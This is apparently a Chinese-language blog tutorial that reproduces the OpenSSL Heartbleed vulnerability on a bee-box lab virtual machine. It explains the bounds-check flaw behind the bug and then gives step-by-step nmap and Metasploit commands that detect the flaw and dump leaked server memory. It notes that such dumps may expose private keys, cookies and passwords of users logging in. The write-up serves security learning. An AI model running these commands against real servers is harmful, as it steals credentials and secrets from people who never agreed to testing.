漏洞范圍:
OpenSSL1.0.1版本
漏洞成因:
Heartbleed漏洞是由於未能在memcpy()調用受害用戶輸入內容作為長度參數之前正確進行邊界檢查。攻擊者可以追蹤OpenSSL所分配的64KB緩存、將超出必要范圍的字節信息復制到緩存當中再返回緩存內容,這樣一來受害者的內存內容就會以每次64KB的速度進行泄露。
漏洞危害:
如同漏洞成因所講,我們可以通過該漏洞讀取每次攻擊泄露出來的信息,所以可能也可以獲取到服務器的私鑰,用戶cookie和密碼等。
漏洞復現:
環境:本次環境使用 bee-box虛擬機(已集成該漏洞環境)進行測試。
bee-box虛擬機下載:鏈接
1.確定目標及端口信息。這里存在漏洞的靶機端口為8443。
2.使用nmap 的腳本進行檢測漏洞是否存在。
nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.224.131
由下圖檢測結果可以看出存在心臟滴血漏洞。
3.github上也有一個項目,是專門檢測心臟滴血漏洞的。鏈接點這里
本地環境試了一下好像不行,大家自行去分析吧,這個不是我講的重點。
4.使用msf進行漏洞利用。
a) 打開msfconsole后,查找heartbleed模塊:
#msf>search heartbleed
[圖片上傳中...(image.png-be8875-1514368932518-0)]
b) 使用第一個選項
#msf > use auxiliary/scanner/ssl/openssl_heartbleed
c) 查看需要設置哪些選項
#msf auxiliary(openssl_heartbleed) > show options
d) 這里我們需要設置RHOSTS,RPORT
e) 設置verbose,這個設置要設置成true才能看到泄露的信息
#msf auxiliary(openssl_heartbleed) > set verbose true (此設置主要是為了顯示整個過程以及leak出來的數據,如果沒有的話只顯示如下圖結果)
f) exploit
#msf auxiliary(openssl_heartbleed) > exploit
g) 如果有人在正在登錄該web應用的話,還可能可以直接抓到賬號密碼等信息。
